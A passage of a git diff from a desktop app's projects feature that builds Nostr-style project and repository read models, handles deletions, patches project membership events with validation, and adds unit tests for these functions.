+      repositoryRelayHints[repositoryAddress] = membershipTag[2];
+    }
+  }
+  repositoryAddresses.sort();
+  const primaryRepositoryAddress =
+    repositoryAddresses.find(
+      (address) => visibleRepositoriesByAddress.get(address)?.dtag === dtag,
+    ) ??
+    repositoryAddresses.find((address) =>
+      visibleRepositoriesByAddress.has(address),
+    ) ??
+    null;
+
+  const owner = event.pubkey.toLowerCase();
+  const projectAddress = `${KIND_PROJECT_ANNOUNCEMENT}:${owner}:${dtag}`;
+
+  const rawVisibility = getTag(event, "buzz-visibility");
+  const visibility =
+    rawVisibility === "unlisted" ? ("unlisted" as const) : ("listed" as const);
+  const channel = getTag(event, "buzz-channel");
+  return {
+    id: projectAddress,
+    dtag,
+    name: getTag(event, "name") ?? dtag,
+    description: getTag(event, "description") ?? "",
+    owner,
+    createdAt: event.created_at,
+    projectChannelId:
+      channel && isValidProjectChannelId(channel) ? channel : null,
+    status: visibility === "listed" ? "active" : "unlisted",
+    projectAddress,
+    primaryRepositoryAddress,
+    repositoryAddresses,
+    repositoryRelayHints,
+    repositories: repositoryAddresses.flatMap((address) => {
+      const repository = visibleRepositoriesByAddress.get(address);
+      return repository ? [repository] : [];
+    }),
+    unavailableRepositoryAddresses: repositoryAddresses.filter(
+      (address) => !repositoriesByAddress.has(address),
+    ),
+    visibility,
+    legacy: false,
+  };
+}
+
+function repositoryToLegacyProject(repository: Repository): Project {
+  return {
+    id: repository.repoAddress,
+    dtag: repository.dtag,
+    name: repository.name,
+    description: repository.description,
+    owner: repository.owner,
+    createdAt: repository.createdAt,
+    projectChannelId: null,
+    status: repository.status,
+    projectAddress: repository.repoAddress,
+    primaryRepositoryAddress: repository.repoAddress,
+    repositoryAddresses: [repository.repoAddress],
+    repositoryRelayHints: {},
+    repositories: [repository],
+    unavailableRepositoryAddresses: [],
+    visibility: "listed",
+    legacy: true,
+  };
+}
+
+/**
+ * Builds the set of addressable coordinates that have been authoritatively
+ * deleted per NIP-09 semantics: the deletion signer must equal the coordinate
+ * owner, and the deletion's `created_at` must be ≥ the live head's timestamp.
+ * Returns a `Map<coordinate, deletedAt>` for threshold comparison.
+ */
+function buildDeletionThresholds(
+  deletionEvents: RelayEvent[],
+): Map<string, number> {
+  const thresholds = new Map<string, number>();
+  for (const event of deletionEvents) {
+    const signer = event.pubkey.toLowerCase();
+    for (const tag of event.tags) {
+      if (tag[0] !== "a" || !tag[1]) continue;
+      const coordinate = tag[1];
+      // The signer must be the owner of the coordinate.
+      const firstColon = coordinate.indexOf(":");
+      const secondColon = coordinate.indexOf(":", firstColon + 1);
+      if (firstColon < 0 || secondColon < 0) continue;
+      const owner = coordinate.slice(firstColon + 1, secondColon).toLowerCase();
+      if (owner !== signer) continue;
+      // Keep the latest (most permissive) deletion threshold.
+      const existing = thresholds.get(coordinate);
+      if (existing === undefined || event.created_at > existing) {
+        thresholds.set(coordinate, event.created_at);
+      }
+    }
+  }
+  return thresholds;
+}
+
+export function buildProjectReadModels({
+  projectEvents,
+  repositoryEvents,
+  deletionEvents = [],
+  relayOrigin,
+  hiddenAddresses = new Set(),
+}: BuildProjectReadModelsInput): Project[] {
+  const deletionThresholds = buildDeletionThresholds(deletionEvents);
+
+  /** Returns true when the event's addressable coordinate has been deleted. */
+  function isDeleted(event: RelayEvent): boolean {
+    const dtag = event.tags.find((tag) => tag[0] === "d")?.[1];
+    if (!dtag) return false;
+    const coordinate = `${event.kind}:${event.pubkey.toLowerCase()}:${dtag}`;
+    const threshold = deletionThresholds.get(coordinate);
+    return threshold !== undefined && event.created_at <= threshold;
+  }
+
+  const repositories = deduplicateAddressableEvents(repositoryEvents)
+    .filter((event) => !isDeleted(event))
+    .flatMap((event) => {
+      const repository = eventToRepository(event, relayOrigin);
+      return repository ? [repository] : [];
+    });
+  const repositoriesByAddress = new Map(
+    repositories.map((repository) => [repository.repoAddress, repository]),
+  );
+  const visibleRepositories = repositories.filter(
+    (repository) => !hiddenAddresses.has(repository.repoAddress),
+  );
+  const visibleRepositoriesByAddress = new Map(
+    visibleRepositories.map((repository) => [
+      repository.repoAddress,
+      repository,
+    ]),
+  );
+
+  const explicitProjects = deduplicateAddressableEvents(projectEvents)
+    .filter((event) => !isDeleted(event))
+    .flatMap((event) => {
+      const project = eventToExplicitProject(
+        event,
+        repositoriesByAddress,
+        visibleRepositoriesByAddress,
+      );
+      return project &&
+        project.visibility === "listed" &&
+        !hiddenAddresses.has(project.projectAddress)
+        ? [project]
+        : [];
+    });
+  const claimedRepositories = new Set(
+    explicitProjects.flatMap((project) =>
+      project.repositoryAddresses.filter((address) => {
+        const repository = repositoriesByAddress.get(address);
+        return (
+          repository &&
+          (repository.owner === project.owner ||
+            repository.maintainers?.includes(project.owner))
+        );
+      }),
+    ),
+  );
+  const legacyProjects = visibleRepositories
+    .filter((repository) => !claimedRepositories.has(repository.repoAddress))
+    .map(repositoryToLegacyProject);
+
+  return [...explicitProjects, ...legacyProjects].sort(
+    (left, right) => right.createdAt - left.createdAt,
+  );
+}
+
+export function selectProjectRepository(
+  project: Project | null | undefined,
+  requestedRepositoryId: string | null | undefined,
+): Repository | null {
+  if (!project) return null;
+
+  const requested = requestedRepositoryId
+    ? project.repositories.find(
+        (repository) => repository.id === requestedRepositoryId,
+      )
+    : null;
+  if (requested) return requested;
+
+  return (
+    project.repositories.find(
+      (repository) =>
+        repository.repoAddress === project.primaryRepositoryAddress,
+    ) ??
+    project.repositories[0] ??
+    null
+  );
+}
+
+/** Returns the optimistic read model after adding a resolved repository. */
+export function addRepositoryToProject(
+  project: Project,
+  repository: Repository,
+  createdAt: number,
+): Project {
+  const projectAddress = `${KIND_PROJECT_ANNOUNCEMENT}:${project.owner}:${project.dtag}`;
+  const repositoryAddresses = [
+    ...new Set([...project.repositoryAddresses, repository.repoAddress]),
+  ].sort();
+  const repositories = [
+    ...project.repositories.filter(
+      (candidate) => candidate.repoAddress !== repository.repoAddress,
+    ),
+    repository,
+  ].sort((left, right) => left.repoAddress.localeCompare(right.repoAddress));
+
+  return {
+    ...project,
+    id: projectAddress,
+    createdAt,
+    legacy: false,
+    projectAddress,
+    primaryRepositoryAddress:
+      repositories.find((candidate) => candidate.dtag === project.dtag)
+        ?.repoAddress ??
+      repositories[0]?.repoAddress ??
+      null,
+    repositoryAddresses,
+    repositories,
+    unavailableRepositoryAddresses:
+      project.unavailableRepositoryAddresses?.filter(
+        (address) => address !== repository.repoAddress,
+      ) ?? [],
+  };
+}
diff --git a/desktop/src/features/projects/projectPullRequests.d.mts b/desktop/src/features/projects/projectPullRequests.d.mts
index af865d2433..87e03f8d38 100644
--- a/desktop/src/features/projects/projectPullRequests.d.mts
+++ b/desktop/src/features/projects/projectPullRequests.d.mts
@@ -78,6 +78,8 @@ export type ProjectPullRequest = {
   repoAddress: string | null;
   /** Channel where the pull request originated (`h` tag), when provided. */
   channelId: string | null;
+  /** Agent display name retained instead of a private conversation ID. */
+  originAgentName: string | null;
   labels: string[];
   recipients: string[];
   /** Requested reviewers (root `p` tags + trusted review-request comments). */
diff --git a/desktop/src/features/projects/projectPullRequests.mjs b/desktop/src/features/projects/projectPullRequests.mjs
index 3eebaa74f0..044f421815 100644
--- a/desktop/src/features/projects/projectPullRequests.mjs
+++ b/desktop/src/features/projects/projectPullRequests.mjs
@@ -364,6 +364,7 @@ export function eventToProjectPullRequest(
     createdAt: pullRequest.created_at,
     repoAddress: getTag(pullRequest, "a") ?? null,
     channelId: getTag(pullRequest, "h") ?? null,
+    originAgentName: getTag(pullRequest, "buzz-origin-agent") ?? null,
     labels: getAllTags(pullRequest, "t"),
     recipients: getAllTags(pullRequest, "p"),
     reviewers,
diff --git a/desktop/src/features/projects/projectPullRequests.test.mjs b/desktop/src/features/projects/projectPullRequests.test.mjs
index 9374604818..75a9877460 100644
--- a/desktop/src/features/projects/projectPullRequests.test.mjs
+++ b/desktop/src/features/projects/projectPullRequests.test.mjs
@@ -49,6 +49,15 @@ test("preserves an optional source channel from the pull request", () => {
   assert.equal(eventToProjectPullRequest(pullRequestEvent()).channelId, null);
 });
 
+test("preserves a private-safe agent origin without a channel ID", () => {
+  const event = pullRequestEvent();
+  event.tags.push(["buzz-origin-agent", "Builder"]);
+
+  const pullRequest = eventToProjectPullRequest(event);
+  assert.equal(pullRequest.channelId, null);
+  assert.equal(pullRequest.originAgentName, "Builder");
+});
+
 function updateEvent({ pubkey, createdAt, commit, cloneUrl }) {
   return {
     id: `update-${pubkey.slice(0, 8)}-${createdAt}`,
diff --git a/desktop/src/features/projects/projectRepositoryCreation.test.mjs b/desktop/src/features/projects/projectRepositoryCreation.test.mjs
new file mode 100644
index 0000000000..0a80e382c9
--- /dev/null
+++ b/desktop/src/features/projects/projectRepositoryCreation.test.mjs
@@ -0,0 +1,347 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  buildRepositoryChannelBindingTemplate,
+  buildProjectPatchTemplate,
+  buildAddedRepositoryEventTemplatesFromHead,
+} from "./projectRepositoryCreation.ts";
+import { validateProjectEventEnvelope } from "./projectModels.ts";
+
+const OWNER = "a".repeat(64);
+
+test("buildRepositoryChannelBindingTemplate preserves repository metadata", () => {
+  const repository = {
+    id: `${OWNER}:desktop`,
+    dtag: "desktop",
+    name: "Desktop",
+    description: "Desktop app",
+    owner: OWNER,
+    createdAt: 1,
+    repoAddress: `30617:${OWNER}:desktop`,
+    eventContent: "Desktop app",
+    eventTags: [
+      ["d", "desktop"],
+      ["name", "Desktop"],
+      ["x-custom", "preserve-me"],
+    ],
+  };
+  const template = buildRepositoryChannelBindingTemplate({
+    channelId: "11111111-1111-4111-8111-111111111111",
+    ownerPubkey: OWNER,
+    repository,
+  });
+
+  assert.equal(template.content, "Desktop app");
+  assert.deepEqual(template.tags, [
+    ["d", "desktop"],
+    ["name", "Desktop"],
+    ["x-custom", "preserve-me"],
+    ["buzz-channel", "11111111-1111-4111-8111-111111111111"],
+  ]);
+});
+
+// ── buildProjectPatchTemplate: unknown-tag preservation ────────────────────
+
+test("buildProjectPatchTemplate preserves unknown tags from the live head", () => {
+  const OWNER = "a".repeat(64);
+  const existingAddress = `30617:${OWNER}:desktop`;
+  const liveHead = {
+    id: "e".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 100,
+    content: "ignored-by-nip-mp",
+    tags: [
+      ["d", "platform"],
+      ["name", "Platform"],
+      ["description", "Multi-repo project"],
+      ["buzz-channel", "11111111-1111-4111-8111-111111111111"],
+      ["future-metadata", "preserve-me"],
+      ["alt", "extension tag that must survive round-trip"],
+      ["a", existingAddress],
+    ],
+  };
+  const newAddress = `30617:${OWNER}:mobile`;
+  const template = buildProjectPatchTemplate({
+    liveHead,
+    ownerPubkey: OWNER,
+    repositoryAddresses: [existingAddress, newAddress],
+  });
+
+  // Content must be preserved verbatim (NIP-MP §content).
+  assert.equal(template.content, "ignored-by-nip-mp");
+
+  // Non-`a` tags — including unknown ones — must survive in order.
+  const nonMemberTags = template.tags.filter((t) => t[0] !== "a");
+  assert.deepEqual(nonMemberTags, [
+    ["d", "platform"],
+    ["name", "Platform"],
+    ["description", "Multi-repo project"],
+    ["buzz-channel", "11111111-1111-4111-8111-111111111111"],
+    ["future-metadata", "preserve-me"],
+    ["alt", "extension tag that must survive round-trip"],
+  ]);
+
+  // New address must be added; sorted order maintained.
+  const memberTags = template.tags.filter((t) => t[0] === "a").map((t) => t[1]);
+  assert.deepEqual(memberTags.sort(), [existingAddress, newAddress].sort());
+});
+
+test("buildProjectPatchTemplate preserves relay hints on existing members", () => {
+  const OWNER = "a".repeat(64);
+  const OTHER = "b".repeat(64);
+  const existingWithHint = `30617:${OTHER}:relay`;
+  const liveHead = {
+    id: "e".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 100,
+    content: "",
+    tags: [
+      ["d", "platform"],
+      ["a", existingWithHint, "wss://relay.example"],
+    ],
+  };
+  const newAddress = `30617:${OWNER}:mobile`;
+  const template = buildProjectPatchTemplate({
+    liveHead,
+    ownerPubkey: OWNER,
+    repositoryAddresses: [existingWithHint, newAddress],
+  });
+
+  const existingTag = template.tags.find(
+    (t) => t[0] === "a" && t[1] === existingWithHint,
+  );
+  assert.ok(existingTag, "existing member tag must be present");
+  assert.equal(
+    existingTag[2],
+    "wss://relay.example",
+    "relay hint must be preserved",
+  );
+});
+
+test("buildProjectPatchTemplate rejects a non-owner caller", () => {
+  const OWNER = "a".repeat(64);
+  const OTHER = "b".repeat(64);
+  const liveHead = {
+    id: "e".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 100,
+    content: "",
+    tags: [["d", "platform"]],
+  };
+  assert.throws(
+    () =>
+      buildProjectPatchTemplate({
+        liveHead,
+        ownerPubkey: OTHER,
+        repositoryAddresses: [],
+      }),
+    /Only the project owner/,
+  );
+});
+
+test("buildProjectPatchTemplate rejects a repository address list exceeding 64 members", () => {
+  const OWNER = "a".repeat(64);
+  const liveHead = {
+    id: "e".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 100,
+    content: "",
+    tags: [["d", "wide"]],
+  };
+  const tooMany = Array.from(
+    { length: 65 },
+    (_, i) => `30617:${"a".repeat(64)}:repo-${String(i).padStart(2, "0")}`,
+  );
+  assert.throws(
+    () =>
+      buildProjectPatchTemplate({
+        liveHead,
+        ownerPubkey: OWNER,
+        repositoryAddresses: tooMany,
+      }),
+    /64/,
+  );
+});
+
+// ── buildAddedRepositoryEventTemplatesFromHead: racing writer ───────────────
+
+test("buildAddedRepositoryEventTemplatesFromHead detects a concurrent add via the live head", () => {
+  const OWNER = "a".repeat(64);
+  const existingAddress = `30617:${OWNER}:desktop`;
+  const newDtag = "mobile";
+  const newAddress = `30617:${OWNER}:${newDtag}`;
+
+  // Live head already contains the address (another session snuck it in).
+  const liveHeadWithRace = {
+    id: "e".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 150,
+    content: "",
+    tags: [
+      ["d", "platform"],
+      ["a", existingAddress],
+      ["a", newAddress], // concurrent add
+    ],
+  };
+  assert.throws(
+    () =>
+      buildAddedRepositoryEventTemplatesFromHead({
+        accessChannelId: "11111111-1111-4111-8111-111111111111",
+        existingRepositoryAddresses: [existingAddress],
+        liveHead: liveHeadWithRace,
+        name: "Mobile",
+        ownerPubkey: OWNER,
+      }),
+    /already contains.*mobile.*another session/,
+  );
+});
+
+// ── validateProjectEventEnvelope: shared full-envelope validator ─────────────
+// These tests pin the NIP-MP validation rules through the WRITE helper so that
+// a nonconforming live head (e.g. from a permissive relay) is caught before
+// Desktop signs and re-submits it.
+
+test("validateProjectEventEnvelope accepts a valid minimal envelope", () => {
+  assert.doesNotThrow(() =>
+    validateProjectEventEnvelope([["d", "platform"]], ""),
+  );
+});
+
+test("validateProjectEventEnvelope rejects missing d tag", () => {
+  assert.throws(
+    () => validateProjectEventEnvelope([["name", "X"]], ""),
+    /NIP-MP.*'d'/,
+  );
+});
+
+test("validateProjectEventEnvelope rejects duplicate d tags", () => {
+  assert.throws(
+    () =>
+      validateProjectEventEnvelope(
+        [
+          ["d", "a"],
+          ["d", "b"],
+        ],
+        "",
+      ),
+    /NIP-MP.*'d'/,
+  );
+});
+
+test("validateProjectEventEnvelope rejects duplicate name tags", () => {
+  assert.throws(
+    () =>
+      validateProjectEventEnvelope(
+        [
+          ["d", "platform"],
+          ["name", "X"],
+          ["name", "Y"],
+        ],
+        "",
+      ),
+    /NIP-MP.*duplicate.*'name'/,
+  );
+});
+
+test("validateProjectEventEnvelope rejects a name tag that exceeds 256 bytes", () => {
+  const longName = "x".repeat(257);
+  assert.throws(
+    () =>
+      validateProjectEventEnvelope(
+        [
+          ["d", "platform"],
+          ["name", longName],
+        ],
+        "",
+      ),
+    /NIP-MP.*'name'.*256/,
+  );
+});
+
+test("validateProjectEventEnvelope rejects a description tag that exceeds 2048 bytes", () => {
+  const longDesc = "x".repeat(2049);
+  assert.throws(
+    () =>
+      validateProjectEventEnvelope(
+        [
+          ["d", "platform"],
+          ["description", longDesc],
+        ],
+        "",
+      ),
+    /NIP-MP.*'description'.*2048/,
+  );
+});
+
+test("validateProjectEventEnvelope rejects more than 64 a-tags", () => {
+  const tags = [["d", "wide"]];
+  for (let i = 0; i < 65; i++) {
+    tags.push([
+      "a",
+      `30617:${"a".repeat(64)}:repo-${String(i).padStart(2, "0")}`,
+    ]);
+  }
+  assert.throws(() => validateProjectEventEnvelope(tags, ""), /NIP-MP.*64/);
+});
+
+test("validateProjectEventEnvelope rejects a member address with uppercase owner hex", () => {
+  const upperAddr = `30617:${"A".repeat(64)}:desktop`;
+  assert.throws(
+    () =>
+      validateProjectEventEnvelope(
+        [
+          ["d", "platform"],
+          ["a", upperAddr],
+        ],
+        "",
+      ),
+    /NIP-MP.*invalid.*address/,
+  );
+});
+
+test("validateProjectEventEnvelope rejects duplicate a-tag addresses", () => {
+  const addr = `30617:${"a".repeat(64)}:desktop`;
+  assert.throws(
+    () =>
+      validateProjectEventEnvelope(
+        [
+          ["d", "platform"],
+          ["a", addr],
+          ["a", addr],
+        ],
+        "",
+      ),
+    /NIP-MP.*duplicate.*address/,
+  );
+});
+
+test("buildProjectPatchTemplate catches duplicate d in live head via full-envelope validation", () => {
+  // A relay that accepted a nonconforming event could serve a head with two d tags.
+  // buildProjectPatchTemplate must catch this before signing.
+  const badLiveHead = {
+    id: "e".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 100,
+    content: "",
+    tags: [
+      ["d", "platform"],
+      ["d", "extra"],
+    ],
+  };
+  assert.throws(
+    () =>
+      buildProjectPatchTemplate({
+        liveHead: badLiveHead,
+        ownerPubkey: OWNER,
+        repositoryAddresses: [],
+      }),
+    /NIP-MP.*'d'/,
+  );
+});
diff --git a/desktop/src/features/projects/projectRepositoryCreation.ts b/desktop/src/features/projects/projectRepositoryCreation.ts
new file mode 100644
index 0000000000..832350f901
--- /dev/null
+++ b/desktop/src/features/projects/projectRepositoryCreation.ts
@@ -0,0 +1,239 @@
+import type { RelayEvent } from "@/shared/api/types";
+import type { Repository } from "@/features/projects/hooks";
+import {
+  isValidProjectChannelId,
+  MAX_PROJECT_MEMBERS,
+  validateProjectEventEnvelope,
+} from "@/features/projects/projectModels";
+import {
+  KIND_PROJECT_ANNOUNCEMENT,
+  KIND_REPO_ANNOUNCEMENT,
+} from "@/shared/constants/kinds";
+import type { ProjectEventTemplate } from "./projectCreation";
+
+function repositoryDtagFromName(name: string): string {
+  return name
+    .toLowerCase()
+    .replace(/[^a-z0-9]+/g, "-")
+    .replace(/^-+|-+$/g, "");
+}
+
+/**
+ * Creates a project-replacement event template from a live, signed raw head
+ * (fetched immediately before the mutation). Only the `a` membership tags are
+ * patched; every other tag and the `content` field are preserved verbatim,
+ * satisfying NIP-MP's extension-tag preservation rule and preventing a cached
+ * UI projection from silently erasing unknown tags.
+ *
+ * Performs full NIP-MP envelope validation on the patched output via the shared
+ * `validateProjectEventEnvelope` validator — the same checks applied by the
+ * read parser — so Desktop's write path agrees with its read path on which
+ * heads are valid regardless of the relay in use.
+ */
+function buildProjectPatchTemplate({
+  liveHead,
+  ownerPubkey,
+  repositoryAddresses,
+}: {
+  liveHead: RelayEvent;
+  ownerPubkey: string;
+  repositoryAddresses: string[];
+}): ProjectEventTemplate {
+  const normalizedOwner = ownerPubkey.trim().toLowerCase();
+  if (normalizedOwner !== liveHead.pubkey.toLowerCase()) {
+    throw new Error("Only the project owner can add repositories.");
+  }
+  if (repositoryAddresses.length > MAX_PROJECT_MEMBERS) {
+    throw new Error(
+      `A project cannot contain more than ${MAX_PROJECT_MEMBERS} repositories.`,
+    );
+  }
+  if (new Set(repositoryAddresses).size !== repositoryAddresses.length) {
+    throw new Error("A project cannot contain duplicate repositories.");
+  }
+  if (
+    repositoryAddresses.some(
+      (address) => !/^30617:[0-9a-f]{64}:.+$/.test(address),
+    )
+  ) {
+    throw new Error("Repository address is invalid.");
+  }
+
+  // Replace all existing `a` tags with the new set, preserving everything else
+  // (d, name, description, buzz-channel, buzz-visibility, relay hints embedded
+  // in `a` tags, and any future/unknown tags).
+  const nonMemberTags = liveHead.tags.filter((tag) => tag[0] !== "a");
+  const existingHints = new Map<string, string>();
+  for (const tag of liveHead.tags) {
+    if (tag[0] === "a" && tag[1] && tag[2]) {
+      existingHints.set(tag[1], tag[2]);
+    }
+  }
+  const memberTags = repositoryAddresses.sort().map((address): string[] => {
+    const hint = existingHints.get(address);
+    return hint ? ["a", address, hint] : ["a", address];
+  });
+
+  const patchedTags = [...nonMemberTags, ...memberTags];
+  const content = liveHead.content;
+
+  // Validate the full patched envelope against NIP-MP rules. This catches
+  // nonconforming live heads (e.g., from a relay that accepted a malformed
+  // event) before we sign and re-submit, and pins the write path to the same
+  // spec the read parser enforces: duplicate `d`, duplicate/oversized
+  // metadata, malformed member arity, and the 64-member boundary.
+  validateProjectEventEnvelope(patchedTags, content);
+
+  return {
+    kind: KIND_PROJECT_ANNOUNCEMENT,
+    content,
+    tags: patchedTags,
+  };
+}
+
+export { buildProjectPatchTemplate };
+
+export function buildRepositoryChannelBindingTemplate({
+  channelId,
+  ownerPubkey,
+  repository,
+}: {
+  channelId: string;
+  ownerPubkey: string;
+  repository: Repository;
+}): ProjectEventTemplate {
+  const normalizedChannelId = channelId.trim();
+  if (ownerPubkey.trim().toLowerCase() !== repository.owner.toLowerCase()) {
+    throw new Error("Only the repository owner can repair its access.");
+  }
+  if (!isValidProjectChannelId(normalizedChannelId)) {
+    throw new Error("Repository access channel is invalid.");
+  }
+  if (!repository.eventTags) {
+    throw new Error(
+      "Repository metadata is unavailable. Refresh and try again.",
+    );
+  }
+
+  return {
+    kind: KIND_REPO_ANNOUNCEMENT,
+    content: repository.eventContent ?? repository.description,
+    tags: [
+      ...repository.eventTags
+        .filter((tag) => tag[0] !== "buzz-channel")
+        .map((tag) => [...tag]),
+      ["buzz-channel", normalizedChannelId],
+    ],
+  };
+}
+
+export type AddedRepositoryEventTemplatesFromHead = {
+  project: ProjectEventTemplate;
+  repository: ProjectEventTemplate;
+  repositoryAddress: string;
+  repositoryDtag: string;
+};
+
+/**
+ * Builds the project-replacement + new-repository templates for `addRepo`,
+ * patching the live signed project head rather than reconstructing from the
+ * cached UI projection. This is the preferred path: it preserves unknown tags
+ * and detects concurrent writes before they cause data loss.
+ *
+ * The caller is responsible for checking that `liveHead.created_at` is not
+ * newer than the cached project's `createdAt` + the caller's margin (i.e., a
+ * dominated-write guard) before using the result.
+ */
+export function buildAddedRepositoryEventTemplatesFromHead({
+  accessChannelId,
+  cloneUrl,
+  description,
+  existingRepositoryAddresses,
+  liveHead,
+  name,
+  ownerPubkey,
+  webUrl,
+}: {
+  accessChannelId?: string;
+  cloneUrl?: string;
+  description?: string;
+  existingRepositoryAddresses: string[];
+  liveHead: RelayEvent;
+  name: string;
+  ownerPubkey: string;
+  webUrl?: string;
+}): AddedRepositoryEventTemplatesFromHead {
+  const normalizedOwner = ownerPubkey.trim().toLowerCase();
+
+  const normalizedName = name.trim();
+  if (!normalizedName) throw new Error("Repository name is required.");
+  const repositoryDtag = repositoryDtagFromName(normalizedName);
+  if (!repositoryDtag) {
+    throw new Error("Repository name must include letters or numbers.");
+  }
+
+  const repositoryAddress = `${KIND_REPO_ANNOUNCEMENT}:${normalizedOwner}:${repositoryDtag}`;
+
+  // Read live membership from the fetched head (not the cached projection).
+  const liveAddresses = liveHead.tags
+    .filter((tag) => tag[0] === "a" && tag[1])
+    .map((tag) => tag[1] as string);
+
+  // If the repo is already in the live head (race: another session added it),
+  // surface that to the caller.
+  if (liveAddresses.includes(repositoryAddress)) {
+    throw new Error(
+      `This project already contains "${repositoryDtag}" (it was added by another session).`,
+    );
+  }
+
+  // An "unavailable member" is a coordinate already in the project's address
+  // list (cached projection) but absent from resolved repositories. When this
+  // happens we keep the existing addresses and add nothing new.
+  const isUnavailableMember =
+    existingRepositoryAddresses.includes(repositoryAddress);
+
+  const normalizedDescription = description?.trim() ?? "";
+  const repositoryTags: string[][] = [
+    ["d", repositoryDtag],
+    ["name", normalizedName],
+  ];
+  const normalizedAccessChannelId = accessChannelId?.trim();
+  if (!normalizedAccessChannelId) {
+    throw new Error(
+      "This project has no repository access channel to inherit.",
+    );
+  }
+  if (!isValidProjectChannelId(normalizedAccessChannelId)) {
+    throw new Error("Repository access channel is invalid.");
+  }
+  repositoryTags.push(["buzz-channel", normalizedAccessChannelId]);
+  if (normalizedDescription) {
+    repositoryTags.push(["description", normalizedDescription]);
+  }
+  const normalizedCloneUrl = cloneUrl?.trim();
+  if (normalizedCloneUrl) repositoryTags.push(["clone", normalizedCloneUrl]);
+  const normalizedWebUrl = webUrl?.trim();
+  if (normalizedWebUrl) repositoryTags.push(["web", normalizedWebUrl]);
+
+  const newAddresses = isUnavailableMember
+    ? [...liveAddresses]
+    : [...liveAddresses, repositoryAddress];
+
+  const projectTemplate = buildProjectPatchTemplate({
+    liveHead,
+    ownerPubkey,
+    repositoryAddresses: newAddresses,
+  });
+
+  return {
+    project: projectTemplate,
+    repository: {
+      kind: KIND_REPO_ANNOUNCEMENT,
+      content: normalizedDescription,
+      tags: repositoryTags,
+    },
+    repositoryAddress,
+    repositoryDtag,
+  };
+}
diff --git a/desktop/src/features/projects/projectRoutes.ts b/desktop/src/features/projects/projectRoutes.ts
new file mode 100644
index 0000000000..2862c11d1e
--- /dev/null
+++ b/desktop/src/features/projects/projectRoutes.ts
@@ -0,0 +1,73 @@
+import {
+  KIND_PROJECT_ANNOUNCEMENT,
+  KIND_REPO_ANNOUNCEMENT,
+} from "@/shared/constants/kinds";
+import type { Project } from "./projectModels";
+
+function parseProjectRouteId(projectId: string): {
+  address: string | null;
+  owner: string | null;
+  dtag: string;
+} {
+  const firstSeparator = projectId.indexOf(":");
+  const secondSeparator = projectId.indexOf(":", firstSeparator + 1);
+  const kind = Number(projectId.slice(0, firstSeparator));
+  if (
+    secondSeparator > 0 &&
+    (kind === KIND_PROJECT_ANNOUNCEMENT || kind === KIND_REPO_ANNOUNCEMENT)
+  ) {
+    const owner = projectId.slice(firstSeparator + 1, secondSeparator);
+    if (/^[0-9a-fA-F]{64}$/.test(owner)) {
+      const normalizedOwner = owner.toLowerCase();
+      const dtag = projectId.slice(secondSeparator + 1);
+      return {
+        address: `${kind}:${normalizedOwner}:${dtag}`,
+        owner: normalizedOwner,
+        dtag,
+      };
+    }
+  }
+
+  const owner = projectId.slice(0, 64);
+  if (projectId[64] === ":" && /^[0-9a-fA-F]{64}$/.test(owner)) {
+    return {
+      address: null,
+      owner: owner.toLowerCase(),
+      dtag: projectId.slice(65),
+    };
+  }
+  return { address: null, owner: null, dtag: projectId };
+}
+
+/**
+ * Matches a project against a route id.
+ *
+ * The route id may be:
+ * - A canonical project coordinate: `30621:<owner>:<dtag>` → exact address match.
+ * - A canonical repository coordinate: `30617:<owner>:<dtag>` → matches any
+ *   project that contains that repository address, enabling entity links from
+ *   PR/issue deep links to land on the correct project regardless of container
+ *   placement. This is the contract Hayt's entity-link routing expects.
+ * - A legacy `<owner>:<dtag>` form → dtag + owner match.
+ */
+export function projectMatchesRouteId(
+  project: Project,
+  projectId: string,
+): boolean {
+  const { address, owner, dtag } = parseProjectRouteId(projectId);
+
+  // Canonical 30617 coordinate: resolve to the project that contains this repo.
+  if (
+    address &&
+    Number(projectId.slice(0, projectId.indexOf(":"))) ===
+      KIND_REPO_ANNOUNCEMENT
+  ) {
+    return project.repositoryAddresses.includes(address);
+  }
+
+  return (
+    (!address || project.projectAddress === address) &&
+    project.dtag === dtag &&
+    (!owner || project.owner.toLowerCase() === owner)
+  );
+}
diff --git a/desktop/src/features/projects/projectWorkItems.test.mjs b/desktop/src/features/projects/projectWorkItems.test.mjs
new file mode 100644
index 0000000000..21ee577b54
--- /dev/null
+++ b/desktop/src/features/projects/projectWorkItems.test.mjs
@@ -0,0 +1,139 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { fetchProjectsWorkItems } from "./projectWorkItems.ts";
+
+// ── Work-item deduplication ─────────────────────────────────────────────────
+//
+// NIP-MP §Multiple membership: a repository may belong to several projects.
+// When it does, global issue/PR lists must produce exactly one row per work
+// item — not one row per project membership. These tests call the exported
+// production function with a stubbed fetchEvents to verify the dedup contract
+// end-to-end, not just the filter algorithm in isolation.
+
+const REPO_OWNER = "a".repeat(64);
+const REPO_DTAG = "relay";
+const REPO_ADDRESS = `30617:${REPO_OWNER}:${REPO_DTAG}`;
+
+const ISSUE_ID = "i".repeat(64);
+const PR_ID = "p".repeat(64);
+const PR_ID_2 = "q".repeat(64);
+
+// Two projects that both contain the same repository.
+const projectA = {
+  repositories: [{ repoAddress: REPO_ADDRESS }],
+};
+const projectB = {
+  repositories: [{ repoAddress: REPO_ADDRESS }],
+};
+
+// Minimal valid NIP-34 issue event for the shared repo.
+function makeIssue(id, updatedAt = 100) {
+  return {
+    id,
+    kind: 1621,
+    pubkey: REPO_OWNER,
+    created_at: updatedAt,
+    content: "An issue",
+    tags: [
+      ["a", REPO_ADDRESS],
+      ["subject", "Fix the thing"],
+    ],
+  };
+}
+
+// Minimal valid NIP-34 pull request event for the shared repo.
+function makePR(id, updatedAt = 100) {
+  return {
+    id,
+    kind: 1618, // KIND_GIT_PULL_REQUEST
+    pubkey: REPO_OWNER,
+    created_at: updatedAt,
+    content: "A PR",
+    tags: [
+      ["a", REPO_ADDRESS],
+      ["subject", "Add a feature"],
+    ],
+  };
+}
+
+// fetchEvents stub: returns the given root events (issues + PRs) and empty
+// arrays for all other query kinds (updates, comments, statuses).
+function makeFetchEvents(rootEvents) {
+  return async (filter) => {
+    const { kinds } = filter;
